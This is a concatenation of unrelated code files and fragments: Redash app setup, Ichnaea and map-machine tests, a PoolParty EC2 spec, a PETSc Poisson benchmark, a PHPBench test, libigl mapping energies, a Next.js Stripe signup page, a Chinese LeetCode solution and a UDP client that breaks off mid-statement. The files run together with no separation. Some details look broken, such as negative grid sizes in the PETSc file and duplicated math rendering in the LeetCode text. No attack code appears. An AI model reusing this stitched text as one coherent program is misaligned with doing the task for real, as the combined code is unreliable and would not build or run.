redis_db = 0 # Redis passwords might be quoted with special characters redis_password = redis_url.password and urllib.unquote(redis_url.password) client = redis.StrictRedis(host=redis_url.hostname, port=redis_url.port, db=redis_db, password=redis_password) return client setup_logging() redis_connection = create_redis_connection() mail = Mail() migrate = Migrate() mail.init_mail(settings.all_settings()) statsd_client = StatsClient(host=settings.STATSD_HOST, port=settings.STATSD_PORT, prefix=settings.STATSD_PREFIX) limiter = Limiter(key_func=get_ipaddr, storage_uri=settings.LIMITER_STORAGE) import_query_runners(settings.QUERY_RUNNERS) import_destinations(settings.DESTINATIONS) from redash.version_check import reset_new_version_status reset_new_version_status() class SlugConverter(BaseConverter): def to_python(self, value): # This is ay workaround for when we enable multi-org and some files are being called by the index rule: # for path in settings.STATIC_ASSETS_PATHS: # full_path = safe_join(path, value) # if os.path.isfile(full_path): # raise ValidationError() return value def to_url(self, value): return value def create_app(): from redash import authentication, extensions, handlers from redash.handlers.webpack import configure_webpack from redash.handlers import chrome_logger from redash.models import db, users from redash.metrics.request import provision_app from redash.utils import sentry sentry.init() app = Flask(__name__, template_folder=settings.STATIC_ASSETS_PATH, static_folder=settings.STATIC_ASSETS_PATH, static_path='/static') # Make sure we get the right referral address even behind proxies like nginx. app.wsgi_app = ProxyFix(app.wsgi_app, settings.PROXIES_COUNT) app.url_map.converters['org_slug'] = SlugConverter if settings.ENFORCE_HTTPS: SSLify(app, skips=['ping']) # configure our database app.config['SQLALCHEMY_DATABASE_URI'] = settings.SQLALCHEMY_DATABASE_URI app.config.update(settings.all_settings()) provision_app(app) db.init_app(app) migrate.init_app(app, db) mail.init_app(app) authentication.init_app(app) limiter.init_app(app) handlers.init_app(app) configure_webpack(app) extensions.init_extensions(app) chrome_logger.init_app(app) users.init_app(app) return app
from datetime import timedelta from random import randint from ichnaea.data.tasks import ( monitor_api_key_limits, monitor_api_users, monitor_queue_size, ) from ichnaea import util class TestMonitor(object): def test_monitor_api_keys_empty(self, celery, stats): monitor_api_key_limits.delay().get() stats.check(gauge=[('api.limit', 0)]) def test_monitor_api_keys_one(self, celery, redis, stats): today = util.utcnow().strftime('%Y%m%d') rate_key = 'apilimit:no_key_1:v1.geolocate:' + today redis.incr(rate_key, 13) monitor_api_key_limits.delay().get() stats.check(gauge=[ ('api.limit', ['key:no_key_1', 'path:v1.geolocate']), ]) def test_monitor_api_keys_multiple(self, celery, redis, stats): now = util.utcnow() today = now.strftime('%Y%m%d') yesterday = (now - timedelta(hours=24)).strftime('%Y%m%d') data = { 'test': {'v1.search': 11, 'v1.geolocate': 13}, 'no_key_1': {'v1.search': 12}, 'no_key_2': {'v1.geolocate': 15}, } for key, paths in data.items(): for path, value in paths.items(): rate_key = 'apilimit:%s:%s:%s' % (key, path, today) redis.incr(rate_key, value) rate_key = 'apilimit:%s:%s:%s' % (key, path, yesterday) redis.incr(rate_key, value - 10) # add some other items into Redis redis.lpush('default', 1, 2) redis.set('cache_something', '{}') monitor_api_key_limits.delay().get() stats.check(gauge=[ ('api.limit', ['key:test', 'path:v1.geolocate']), ('api.limit', ['key:test', 'path:v1.search']), ('api.limit', ['key:no_key_1', 'path:v1.search']), ('api.limit', ['key:no_key_2', 'path:v1.geolocate']), ]) def test_monitor_queue_size(self, celery, redis, stats): data = { 'export_queue_internal': 3, 'export_queue_backup:abcd-ef-1234': 7, } for name in celery.all_queues: data[name] = randint(1, 10) for k, v in data.items(): redis.lpush(k, *range(v)) monitor_queue_size.delay().get() stats.check( gauge=[('queue', 1, v, ['queue:' + k]) for k, v in data.items()]) class TestMonitorAPIUsers(object): @property def today(self): return util.utcnow().date() @property def today_str(self): return self.today.strftime('%Y-%m-%d') def test_empty(self, celery, stats): monitor_api_users.delay().get() stats.check(gauge=[('submit.user', 0), ('locate.user', 0)]) def test_one_day(self, celery, geoip_data, redis, stats): bhutan_ip = geoip_data['Bhutan']['ip'] london_ip = geoip_data['London']['ip'] redis.pfadd( 'apiuser:submit:test:' + self.today_str, bhutan_ip, london_ip) redis.pfadd( 'apiuser:submit:valid_key:' + self.today_str, bhutan_ip) redis.pfadd( 'apiuser:locate:valid_key:' + self.today_str, bhutan_ip) monitor_api_users.delay().get() stats.check(gauge=[ ('submit.user', 1, 2, ['key:test', 'interval:1d']), ('submit.user', 1, 2, ['key:test', 'interval:7d']), ('submit.user', 1, 1, ['key:valid_key', 'interval:1d']), ('submit.user', 1, 1, ['key:valid_key', 'interval:7d']), ('locate.user', 1, 1, ['key:valid_key', 'interval:1d']), ('locate.user', 1, 1, ['key:valid_key', 'interval:7d']), ]) def test_many_days(self, celery, geoip_data, redis, stats): bhutan_ip = geoip_data['Bhutan']['ip'] london_ip = geoip_data['London']['ip'] days_6 = (self.today - timedelta(days=6)).strftime('%Y-%m-%d') days_7 = (self.today - timedelta(days=7)).strftime('%Y-%m-%d') redis.pfadd( 'apiuser:submit:test:' + self.today_str, '127.0.0.1', bhutan_ip) # add the same IPs + one new one again redis.pfadd( 'apiuser:submit:test:' + days_6, '127.0.0.1', bhutan_ip, london_ip) # add one entry which is too old redis.pfadd( 'apiuser:submit:test:' + days_7, bhutan_ip) monitor_api_users.delay().get() stats.check(gauge=[ ('submit.user', 1, 2, ['key:test', 'interval:1d']), # we count unique IPs over the entire 7 day period, # so it's just 3 uniques ('submit.user', 1, 3, ['key:test', 'interval:7d']), ]) # the too old key was deleted manually assert not redis.exists('apiuser:submit:test:' + days_7)
""" Test command line commands. """ from pathlib import Path from subprocess import PIPE, Popen __author__ = "Sergey Vartanov" __email__ = "me@enzet.ru" from xml.etree import ElementTree from xml.etree.ElementTree import Element from map_machine.ui.cli import COMMAND_LINES LOG: bytes = ( b"INFO Constructing ways...\n" b"INFO Constructing nodes...\n" b"INFO Drawing ways...\n" b"INFO Drawing main icons...\n" b"INFO Drawing extra icons...\n" b"INFO Drawing texts...\n" ) def error_run(arguments: list[str], message: bytes) -> None: """Run command that should fail and check error message.""" with Popen(["map-machine"] + arguments, stderr=PIPE) as pipe: _, error = pipe.communicate() assert pipe.returncode != 0 assert error == message def run(arguments: list[str], message: bytes) -> None: """Run command that should fail and check error message.""" with Popen(["map-machine"] + arguments, stderr=PIPE) as pipe: _, error = pipe.communicate() assert pipe.returncode == 0 assert error == message def test_wrong_render_arguments() -> None: """Test `render` command with wrong arguments.""" error_run( ["render", "-z", "17"], b"CRITICAL Specify either --input, or --boundary-box, or --coordinates " b"and --size.\n", ) def test_render() -> None: """Test `render` command.""" run( COMMAND_LINES["render"] + ["--cache", "tests/data"], LOG + b"INFO Writing output SVG to out/map.svg...\n", ) with Path("out/map.svg").open(encoding="utf-8") as output_file: root: Element = ElementTree.parse(output_file).getroot() # 4 expected elements: `defs`, `rect` (background), `g` (outline), # `g` (icon), 4 `text` elements (credits). assert len(root) == 8 assert len(root[3][0]) == 0 assert root.get("width") == "186.0" assert root.get("height") == "198.0" def test_render_with_tooltips() -> None: """Test `render` command.""" run( COMMAND_LINES["render_with_tooltips"] + ["--cache", "tests/data"], LOG + b"INFO Writing output SVG to out/map.svg...\n", ) with Path("out/map.svg").open(encoding="utf-8") as output_file: root: Element = ElementTree.parse(output_file).getroot() # 4 expected elements: `defs`, `rect` (background), `g` (outline), # `g` (icon), 4 `text` elements (credits). assert len(root) == 8 assert len(root[3][0]) == 1 assert root[3][0][0].text == "natural: tree" assert root.get("width") == "186.0" assert root.get("height") == "198.0" def test_icons() -> None: """Test `icons` command.""" run( COMMAND_LINES["icons"], b"INFO Icons are written to out/icons_by_name and out/icons_by_id.\n" b"INFO Icon grid is written to out/icon_grid.svg.\n" b"INFO Icon grid is written to doc/grid.svg.\n", ) assert (Path("out") / "icon_grid.svg").is_file() assert (Path("out") / "icons_by_name").is_dir() assert (Path("out") / "icons_by_id").is_dir() assert (Path("out") / "icons_by_name" / "Röntgen apple.svg").is_file() assert (Path("out") / "icons_by_id" / "apple.svg").is_file() def test_mapcss() -> None: """Test `mapcss` command.""" run( COMMAND_LINES["mapcss"], b"INFO MapCSS 0.2 scheme is written to out/map_machine_mapcss.\n", ) assert (Path("out") / "map_machine_mapcss").is_dir() assert (Path("out") / "map_machine_mapcss" / "icons").is_dir() assert ( Path("out") / "map_machine_mapcss" / "icons" / "apple.svg" ).is_file() assert (Path("out") / "map_machine_mapcss" / "map_machine.mapcss").is_file() def test_element() -> None: """Test `element` command.""" run( COMMAND_LINES["element"], b"INFO Element is written to out/element.svg.\n", ) assert (Path("out") / "element.svg").is_file() def test_tile() -> None: """Test `tile` command.""" run( COMMAND_LINES["tile"] + ["--cache", "tests/data"], LOG + b"INFO Tile is drawn to out/tiles/tile_18_160199_88904.svg.\n" b"INFO SVG file is rasterized to out/tiles/tile_18_160199_88904.png.\n", ) assert (Path("out") / "tiles" / "tile_18_160199_88904.svg").is_file() assert (Path("out") / "tiles" / "tile_18_160199_88904.png").is_file()
require File.dirname(__FILE__) + '/../../spec_helper' # include Remote class TestEC2Class include PoolParty::Remote::RemoterBase include Ec2 include CloudResourcer include CloudDsl def keypair "fake_keypair" end def ami;"ami-abc123";end def size; "small";end def security_group; "default";end def ebs_volume_id; "ebs_volume_id";end def availabilty_zone; "us-east-1a";end def verbose false end def ec2 @ec2 ||= EC2::Base.new( :access_key_id => "not_an_access_key", :secret_access_key => "not_a_secret_access_key") end end describe "ec2 remote base" do before(:each) do setup @tr = TestEC2Class.new stub_remoter_for(@tr) @tr.stub!(:get_instances_description).and_return response_list_of_instances end %w(launch_new_instance! terminate_instance! describe_instance describe_instances create_snapshot).each do |method| eval <<-EOE it "should have the method #{method}" do @tr.respond_to?(:#{method}).should == true end EOE end describe "helpers" do it "should be able to convert an ec2 ip to a real ip" do "ec2-72-44-36-12.compute-1.amazonaws.com".convert_from_ec2_to_ip.should == "72.44.36.12" end it "should not throw an error if another string is returned" do "72.44.36.12".convert_from_ec2_to_ip.should == "72.44.36.12" end it "should be able to parse the date from the timestamp" do "2008-11-13T09:33:09+0000".parse_datetime.should == DateTime.parse("2008-11-13T09:33:09+0000") end it "should rescue itself and just return the string if it fails" do "thisisthedate".parse_datetime.should == "thisisthedate" end end describe "launching" do before(:each) do @tr.ec2.stub!(:run_instances).and_return true end it "should call run_instances on the ec2 Base class when asking to launch_new_instance!" do @tr.ec2.should_receive(:run_instances).and_return true @tr.launch_new_instance! end it "should use a specific security group if one is specified" do @tr.stub!(:security_group).and_return "web" @tr.ec2.should_receive(:run_instances).with(hash_including(:group_id => ['web'])).and_return true @tr.launch_new_instance! end it "should use the default security group if none is specified" do @tr.ec2.should_receive(:run_instances).with(hash_including(:group_id => ['default'])).and_return true @tr.launch_new_instance! end it "should get the hash response from EC2ResponseObject" do EC2ResponseObject.should_receive(:get_hash_from_response).and_return true @tr.launch_new_instance! end end describe "terminating" do it "should call terminate_instance! on ec2 when asking to terminate_instance!" do @tr.ec2.should_receive(:terminate_instances).with(:instance_id => "abc-123").and_return true @tr.terminate_instance!("abc-123") end end describe "describe_instance" do it "should call get_instances_description on itself" do @tr.should_receive(:get_instances_description).and_return {} @tr.describe_instance end end describe "get_instances_description" do it "should return a hash" do @tr.describe_instances.class.should == Array end it "should call the first node master" do @tr.describe_instances.first[:name].should == "master" end it "should call the second one node1" do @tr.describe_instances[1][:name].should == "node1" end it "should call the third node2" do @tr.describe_instances[2][:name].should == "terminated_node2" end end describe "create_keypair" do before(:each) do Kernel.stub!(:system).with("ec2-add-keypair fake_keypair > #{Base.base_keypair_path}/id_rsa-fake_keypair && chmod 600 #{Base.base_keypair_path}/id_rsa-fake_keypair").and_return true end it "should send system to the Kernel" do Kernel.should_receive(:system).with("ec2-add-keypair fake_keypair > #{Base.base_keypair_path}/id_rsa-fake_keypair && chmod 600 #{Base.base_keypair_path}/id_rsa-fake_keypair").and_return true @tr.create_keypair end it "should try to create the directory when making a new keypair" do FileUtils.should_receive(:mkdir_p).and_return true ::File.stub!(:directory?).and_return false @tr.create_keypair end it "should not create a keypair if the keypair is nil" do Kernel.should_not_receive(:system) @tr.stub!(:keypair).and_return nil @tr.create_keypair end end describe "create_snapshot" do # We can assume that create_snapshot on the ec2 gem works before(:each) do @tr.ec2.stub!(:create_snapshot).and_return nil end it "should create a snapshot of the current EBS volume" do @tr.ec2.stub!(:create_snapshot).and_return {{"snapshotId" => "snap-123"}} @tr.stub!(:ebs_volume_id).and_return "vol-123" @tr.create_snapshot.should == {"snapshotId" => "snap-123"} end it "should not create a snapshot if there is no EBS volume" do @tr.create_snapshot.should == nil end end end
/** * \file main.cpp * \brief An example and benchmark of AmgX and PETSc with Poisson system. * * The Poisson equation we solve here is * \nabla^2 u(x, y) = -8\pi^2 \cos{2\pi x} \cos{2\pi y} * for 2D. And * \nabla^2 u(x, y, z) = -12\pi^2 \cos{2\pi x} \cos{2\pi y} \cos{2\pi z} * for 3D. * * The exact solutions are * u(x, y) = \cos{2\pi x} \cos{2\pi y} * for 2D. And * u(x, y, z) = \cos{2\pi x} \cos{2\pi y} \cos{2\pi z} * for 3D. * * \author Pi-Yueh Chuang (pychuang@gwu.edu) * \date 2017-06-26 */ // PETSc # include <petsctime.h> # include <petscsys.h> # include <petscmat.h> # include <petscvec.h> # include <petscksp.h> // headers # include "helper.h" // constants # define Nx -100 # define Ny -100 # define Nz -100 int main(int argc, char **argv) { PetscErrorCode ierr; // error codes returned by PETSc routines DM da; // DM object DMDALocalInfo info; // partitioning info Vec lhs, // left hand side rhs, // right hand side exact; // exact solution Mat A; // coefficient matrix KSP ksp; // PETSc KSP solver instance KSPConvergedReason reason; // KSP convergence/divergence reason PetscInt Niters; // iterations used to converge PetscReal res, // final residual Linf; // maximum norm PetscLogDouble start, // time at the begining initSys, // time after init the sys initSolver, // time after init the solver solve; // time after solve char config[PETSC_MAX_PATH_LEN]; // config file name // initialize MPI and PETSc ierr = MPI_Init(&argc, &argv); CHKERRQ(ierr); ierr = PetscInitialize(&argc, &argv, nullptr, nullptr); CHKERRQ(ierr); // allow PETSc to read run-time options from a file ierr = PetscOptionsGetString(nullptr, nullptr, "-config", config, PETSC_MAX_PATH_LEN, nullptr); CHKERRQ(ierr); ierr = PetscOptionsInsertFile(PETSC_COMM_WORLD, nullptr, config, PETSC_FALSE); CHKERRQ(ierr); // get time ierr = PetscTime(&start); CHKERRQ(ierr); // prepare the linear system ierr = createSystem(Nx, Ny, Nz, da, A, lhs, rhs, exact); CHKERRQ(ierr); // get system info ierr = DMDAGetLocalInfo(da, &info); CHKERRQ(ierr); // get time ierr = PetscTime(&initSys); CHKERRQ(ierr); // create a solver ierr = KSPCreate(PETSC_COMM_WORLD, &ksp); CHKERRQ(ierr); ierr = KSPSetOperators(ksp, A, A); CHKERRQ(ierr); ierr = KSPSetType(ksp, KSPCG); CHKERRQ(ierr); ierr = KSPSetReusePreconditioner(ksp, PETSC_TRUE); CHKERRQ(ierr); ierr = KSPSetFromOptions(ksp); CHKERRQ(ierr); ierr = KSPSetUp(ksp); CHKERRQ(ierr); // get time ierr = PetscTime(&initSolver); CHKERRQ(ierr); // solve the system ierr = KSPSolve(ksp, rhs, lhs); CHKERRQ(ierr); // get time ierr = PetscTime(&solve); CHKERRQ(ierr); // check if the solver converged ierr = KSPGetConvergedReason(ksp, &reason); CHKERRQ(ierr); if (reason < 0) SETERRQ1(PETSC_COMM_WORLD, PETSC_ERR_CONV_FAILED, "Diverger reason: %d\n", reason); // get the number of iterations ierr = KSPGetIterationNumber(ksp, &Niters); CHKERRQ(ierr); // get the L2 norm of final residual ierr = KSPGetResidualNorm(ksp, &res); // calculate error norm (maximum norm) ierr = VecAXPY(lhs, -1.0, exact); CHKERRQ(ierr); ierr = VecNorm(lhs, NORM_INFINITY, &Linf); CHKERRQ(ierr); // print result ierr = PetscPrintf(PETSC_COMM_WORLD, "[Nx, Ny, Nz]: [%d, %d, %d]\n" "Number of iterations: %d\n" "L2 norm of final residual: %f\n" "Maximum norm of error: %f\n" "Time [init, create solver, solve]: [%f, %f, %f]\n", info.mx, info.my, info.mz, Niters, res, Linf, initSys-start, initSolver-initSys, solve-initSolver); CHKERRQ(ierr); // destroy KSP solver ierr = KSPDestroy(&ksp); CHKERRQ(ierr); // destroy the linear system ierr = destroySystem(da, A, lhs, rhs, exact); CHKERRQ(ierr); // finalize PETSc and MPI ierr = PetscFinalize(); CHKERRQ(ierr); ierr = MPI_Finalize(); CHKERRQ(ierr); return ierr; }
<?php /* * This file is part of the PHPBench package * * (c) Daniel Leech <daniel@dantleech.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. * */ namespace PhpBench\Tests\Unit\Progress\Logger; use PhpBench\Model\Benchmark; use PhpBench\Model\Iteration; use PhpBench\Model\ParameterSet; use PhpBench\Model\Subject; use PhpBench\Model\Variant; use PhpBench\Progress\Logger\HistogramLogger; use PhpBench\Tests\Util\TestUtil; use PhpBench\Util\TimeUnit; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Output\BufferedOutput; class HistogramLoggerTest extends TestCase { public function setUp() { $this->output = new BufferedOutput(); $this->timeUnit = new TimeUnit(TimeUnit::MICROSECONDS, TimeUnit::MILLISECONDS); $this->logger = new HistogramLogger($this->timeUnit); $this->logger->setOutput($this->output); $this->benchmark = $this->prophesize(Benchmark::class); $this->subject = $this->prophesize(Subject::class); $this->iteration = $this->prophesize(Iteration::class); $this->variant = new Variant( $this->subject->reveal(), new ParameterSet(), 1, 0 ); $this->variant->spawnIterations(4); $this->benchmark->getSubjects()->willReturn([ $this->subject->reveal(), ]); $this->benchmark->getClass()->willReturn('BenchmarkTest'); $this->subject->getName()->willReturn('benchSubject'); $this->subject->getIndex()->willReturn(1); $this->subject->getOutputTimeUnit()->willReturn('milliseconds'); $this->subject->getOutputMode()->willReturn('time'); $this->subject->getRetryThreshold()->willReturn(10); $this->subject->getOutputTimePrecision()->willReturn(3); } /** * It should show the benchmark name and list all of the subjects. */ public function testBenchmarkStart() { $this->logger->benchmarkStart($this->benchmark->reveal()); $display = $this->output->fetch(); $this->assertContains('BenchmarkTest', $display); $this->assertContains('#1 benchSubject', $display); } /** * Test iteration start. */ public function testIterationStart() { $this->iteration->getIndex()->willReturn(1); $this->iteration->getVariant()->willReturn($this->variant); $this->logger->iterationStart($this->iteration->reveal()); $display = $this->output->fetch(); $this->assertContains('it 1/4', $display); } /** * It should show information at the start of the variant. */ public function testIterationsStart() { $this->logger->variantStart($this->variant); $display = $this->output->fetch(); $this->assertContains( '1 (σ = 0.000ms ) -2σ [ ] +2σ', $display ); $this->assertContains( 'benchSubject', $display ); $this->assertContains( 'parameters []', $display ); } /** * It should show an error if the iteration has an exception. */ public function testIterationException() { $this->variant->setException(new \Exception('foo')); $this->logger->variantEnd($this->variant); $this->assertContains('ERROR', $this->output->fetch()); } /** * It should show the histogram and statistics when an iteration is * completed (and there were no rejections). */ public function testIterationEnd() { foreach ($this->variant as $iteration) { foreach (TestUtil::createResults(10, 10) as $result) { $iteration->setResult($result); } } $this->variant->computeStats(); $this->logger->variantEnd($this->variant); $display = $this->output->fetch(); $this->assertContains( '1 (σ = 0.000ms ) -2σ [ █ ] +2σ [μ Mo]/r: 0.010 0.010 μRSD/r: 0.00%', $display ); } }
// This file is part of libigl, a simple c++ geometry processing library. // // Copyright (C) 2018 Zhongshi Jiang <jiangzs@nyu.edu> // // This Source Code Form is subject to the terms of the Mozilla Public License // v. 2.0. If a copy of the MPL was not distributed with this file, You can // obtain one at http://mozilla.org/MPL/2.0/. #include "mapping_energy_with_jacobians.h" #include "polar_svd.h" IGL_INLINE double igl::mapping_energy_with_jacobians( const Eigen::MatrixXd &Ji, const Eigen::VectorXd &areas, igl::MappingEnergyType slim_energy, double exp_factor){ double energy = 0; if (Ji.cols() == 4) { Eigen::Matrix<double, 2, 2> ji; for (int i = 0; i < Ji.rows(); i++) { ji(0, 0) = Ji(i, 0); ji(0, 1) = Ji(i, 1); ji(1, 0) = Ji(i, 2); ji(1, 1) = Ji(i, 3); typedef Eigen::Matrix<double, 2, 2> Mat2; typedef Eigen::Matrix<double, 2, 1> Vec2; Mat2 ri, ti, ui, vi; Vec2 sing; igl::polar_svd(ji, ri, ti, ui, sing, vi); double s1 = sing(0); double s2 = sing(1); switch (slim_energy) { case igl::MappingEnergyType::ARAP: { energy += areas(i) * (pow(s1 - 1, 2) + pow(s2 - 1, 2)); break; } case igl::MappingEnergyType::SYMMETRIC_DIRICHLET: { energy += areas(i) * (pow(s1, 2) + pow(s1, -2) + pow(s2, 2) + pow(s2, -2)); break; } case igl::MappingEnergyType::EXP_SYMMETRIC_DIRICHLET: { energy += areas(i) * exp(exp_factor * (pow(s1, 2) + pow(s1, -2) + pow(s2, 2) + pow(s2, -2))); break; } case igl::MappingEnergyType::LOG_ARAP: { energy += areas(i) * (pow(log(s1), 2) + pow(log(s2), 2)); break; } case igl::MappingEnergyType::CONFORMAL: { energy += areas(i) * ((pow(s1, 2) + pow(s2, 2)) / (2 * s1 * s2)); break; } case igl::MappingEnergyType::EXP_CONFORMAL: { energy += areas(i) * exp(exp_factor * ((pow(s1, 2) + pow(s2, 2)) / (2 * s1 * s2))); break; } } } } else { Eigen::Matrix<double, 3, 3> ji; for (int i = 0; i < Ji.rows(); i++) { ji(0, 0) = Ji(i, 0); ji(0, 1) = Ji(i, 1); ji(0, 2) = Ji(i, 2); ji(1, 0) = Ji(i, 3); ji(1, 1) = Ji(i, 4); ji(1, 2) = Ji(i, 5); ji(2, 0) = Ji(i, 6); ji(2, 1) = Ji(i, 7); ji(2, 2) = Ji(i, 8); typedef Eigen::Matrix<double, 3, 3> Mat3; typedef Eigen::Matrix<double, 3, 1> Vec3; Mat3 ri, ti, ui, vi; Vec3 sing; igl::polar_svd(ji, ri, ti, ui, sing, vi); double s1 = sing(0); double s2 = sing(1); double s3 = sing(2); switch (slim_energy) { case igl::MappingEnergyType::ARAP: { energy += areas(i) * (pow(s1 - 1, 2) + pow(s2 - 1, 2) + pow(s3 - 1, 2)); break; } case igl::MappingEnergyType::SYMMETRIC_DIRICHLET: { energy += areas(i) * (pow(s1, 2) + pow(s1, -2) + pow(s2, 2) + pow(s2, -2) + pow(s3, 2) + pow(s3, -2)); break; } case igl::MappingEnergyType::EXP_SYMMETRIC_DIRICHLET: { energy += areas(i) * exp(exp_factor * (pow(s1, 2) + pow(s1, -2) + pow(s2, 2) + pow(s2, -2) + pow(s3, 2) + pow(s3, -2))); break; } case igl::MappingEnergyType::LOG_ARAP: { energy += areas(i) * (pow(log(s1), 2) + pow(log(std::abs(s2)), 2) + pow(log(std::abs(s3)), 2)); break; } case igl::MappingEnergyType::CONFORMAL: { energy += areas(i) * ((pow(s1, 2) + pow(s2, 2) + pow(s3, 2)) / (3 * pow(s1 * s2 * s3, 2. / 3.))); break; } case igl::MappingEnergyType::EXP_CONFORMAL: { energy += areas(i) * exp((pow(s1, 2) + pow(s2, 2) + pow(s3, 2)) / (3 * pow(s1 * s2 * s3, 2. / 3.))); break; } } } } return energy; } #ifdef IGL_STATIC_LIBRARY // Explicit template instantiation #endif
import type { CustomNextPage } from "next"; import { useState } from "react"; import { useForm } from "react-hook-form"; import { useManageAccount } from "src/hook/vendor/useManageAccount"; import { Layout } from "src/layout"; import { Attention, InputLayout, InputType, } from "src/pages/vendor/auth/component"; import type { TypeEmail, TypeRadio, TypeSelect, TypeTel, TypeText, TypeTextarea, TypeUrl, } from "src/type/vendor"; import type Stripe from "stripe"; const inputItems: ( | TypeEmail | TypeRadio | TypeSelect | TypeTel | TypeText | TypeUrl | TypeTextarea )[] = [ // { // id: "business_type", // label: "事業形態", // type: "radio", // radioItem: [{ id: "individual" }, { id: "company" }, { id: "non_profit" }], // }, // { // id: "first_name_kanji", // label: "氏名", // type: "text", // placeholder: "姓", // }, // { // id: "last_name_kanji", // label: "氏名", // type: "text", // placeholder: "名", // }, // { // id: "first_name_kana", // label: "氏名(かな)", // type: "text", // placeholder: "姓", // }, // { // id: "last_name_kana", // label: "氏名(かな)", // type: "text", // placeholder: "名", // }, { id: "email", label: "メールアドレス", type: "email", autoComplete: "email", placeholder: "test.satou@example.com", }, // { // id: "businessProfileMcc", // label: "事業カテゴリー", // type: "select", // selectItem: [ // { value: "", text: "選んでください。" }, // { value: "Dog", text: "Dog" }, // { value: "Cat", text: "Cat" }, // { value: "Bird", text: "Bird" }, // ], // }, // { // id: "businessProfileProductDescription", // label: "事業詳細", // type: "textarea", // }, ]; const Create: CustomNextPage = () => { const [isLoading, setIsLoading] = useState(false); const { createAccount, createAccountLink } = useManageAccount(); const { register, handleSubmit, formState: { errors }, } = useForm(); const onSubmit = async (e: any) => { setIsLoading(true); const params: Stripe.AccountCreateParams = { ...e }; const { id } = await createAccount(params); await createAccountLink(id); setIsLoading(false); }; return ( <div className="mx-auto max-w-[700px] text-center"> <div className="space-y-3"> <h2>チケットオーナーアカウント作成</h2> <Attention /> <div className="p-10 rounded-lg border border-gray"> <form onSubmit={handleSubmit(onSubmit)} className="text-center"> {inputItems.map((item) => { return ( <InputLayout key={item.id} item={item} errorMessage={errors}> <InputType item={item} register={register} /> </InputLayout> ); })} <div className="relative py-2 px-5"> <input type="submit" value="送信" /> {isLoading && ( <div className="flex absolute inset-0 justify-center bg-white"> <div className="w-5 h-5 rounded-full border-4 border-blue border-t-transparent animate-spin"></div> </div> )} </div> </form> </div> </div> </div> ); }; Create.getLayout = Layout; export default Create;
买卖股票的最佳时机 II 我们必须确定通过交易能够获得的最大利润(对于交易次数没有限制)。为此,我们需要找出那些共同使得利润最大化的买入及卖出价格。 解决方案 方法一:暴力法 这种情况下,我们只需要计算与所有可能的交易组合相对应的利润,并找出它们中的最大利润。 class Solution { public int maxProfit(int[] prices) { return calculate(prices, 0); } public int calculate(int prices[], int s) { if (s >= prices.length) return 0; int max = 0; for (int start = s; start < prices.length; start++) { int maxprofit = 0; for (int i = start + 1; i < prices.length; i++) { if (prices[start] < prices[i]) { int profit = calculate(prices, i + 1) + prices[i] - prices[start]; if (profit > maxprofit) maxprofit = profit; } } if (maxprofit > max) max = maxprofit; } return max; } } 复杂度分析 时间复杂度:O(n^n)O(n n ),调用递归函数 n^nn n 次。 空间复杂度:O(n)O(n),递归的深度为 nn。 方法二:峰谷法 算法 假设给定的数组为: [7, 1, 5, 3, 6, 4] 如果我们在图表上绘制给定数组中的数字,我们将会得到: Profit Graph 如果我们分析图表,那么我们的兴趣点是连续的峰和谷。 https://pic.leetcode-cn.com/d447f96d20d1cfded20a5d08993b3658ed08e295ecc9aea300ad5e3f4466e0fe-file_1555699515174 用数学语言描述为: Total Profit= \sum_{i}(height(peak_i)-height(valley_i)) TotalProfit= i ∑ ​ (height(peak i ​ )−height(valley i ​ )) 关键是我们需要考虑到紧跟谷的每一个峰值以最大化利润。如果我们试图跳过其中一个峰值来获取更多利润,那么我们最终将失去其中一笔交易中获得的利润,从而导致总利润的降低。 例如,在上述情况下,如果我们跳过 peak_ipeak i ​ 和 valley_jvalley j ​ 试图通过考虑差异较大的点以获取更多的利润,获得的净利润总是会小与包含它们而获得的静利润,因为 CC 总是小于 A+BA+B。 class Solution { public int maxProfit(int[] prices) { int i = 0; int valley = prices[0]; int peak = prices[0]; int maxprofit = 0; while (i < prices.length - 1) { while (i < prices.length - 1 && prices[i] >= prices[i + 1]) i++; valley = prices[i]; while (i < prices.length - 1 && prices[i] <= prices[i + 1]) i++; peak = prices[i]; maxprofit += peak - valley; } return maxprofit; } } 复杂度分析 时间复杂度:O(n)O(n)。遍历一次。 空间复杂度:O(1)O(1)。需要常量的空间。 方法三:简单的一次遍历 算法 该解决方案遵循 方法二 的本身使用的逻辑,但有一些轻微的变化。在这种情况下,我们可以简单地继续在斜坡上爬升并持续增加从连续交易中获得的利润,而不是在谷之后寻找每个峰值。最后,我们将有效地使用峰值和谷值,但我们不需要跟踪峰值和谷值对应的成本以及最大利润,但我们可以直接继续增加加数组的连续数字之间的差值,如果第二个数字大于第一个数字,我们获得的总和将是最大利润。这种方法将简化解决方案。 这个例子可以更清楚地展现上述情况: [1, 7, 2, 3, 6, 7, 6, 7] 与此数组对应的图形是: Profit Graph https://pic.leetcode-cn.com/6eaf01901108809ca5dfeaef75c9417d6b287c841065525083d1e2aac0ea1de4-file_1555699697692 从上图中,我们可以观察到 A+B+CA+B+C 的和等于差值 DD 所对应的连续峰和谷的高度之差。 class Solution { public int maxProfit(int[] prices) { int maxprofit = 0; for (int i = 1; i < prices.length; i++) { if (prices[i] > prices[i - 1]) maxprofit += prices[i] - prices[i - 1]; } return maxprofit; } } 复杂度分析 时间复杂度:O(n)O(n),遍历一次。 空间复杂度:O(1)O(1),需要常量的空间。
/* * UDP server wrapper class. * * @author Michel Megens * @email dev@bietje.net */ #include <stdlib.h> #include <stdio.h> #include <assert.h> #include <lwiot.h> #include <lwiot/types.h> #include <lwiot/log.h> #include <lwiot/stl/string.h> #include <lwiot/error.h> #include <lwiot/network/stdnet.h> #include <lwiot/network/udpclient.h> #include <lwiot/network/socketudpclient.h> namespace lwiot { SocketUdpClient::SocketUdpClient() : UdpClient(), _socket(nullptr), _noclose(false) { } SocketUdpClient::SocketUdpClient(const IPAddress &addr, uint16_t port, socket_t* srv) : UdpClient(addr, port), _socket(srv) { if(srv == nullptr) this->init(); else this->_noclose = true; } SocketUdpClient::SocketUdpClient(const lwiot::String &host, uint16_t port) : UdpClient(host, port) { this->init(); } void SocketUdpClient::begin() { this->resolve(); this->close(); this->init(); } void SocketUdpClient::begin(const lwiot::String &host, uint16_t port) { this->_host = host; this->_port = to_netorders(port); this->begin(); } void SocketUdpClient::begin(const lwiot::IPAddress &addr, uint16_t port) { this->_host = ""; this->_remote = addr; this->_port = to_netorders(port); this->begin(); } void SocketUdpClient::init() { remote_addr_t remote; this->address().toRemoteAddress(remote); this->_socket = 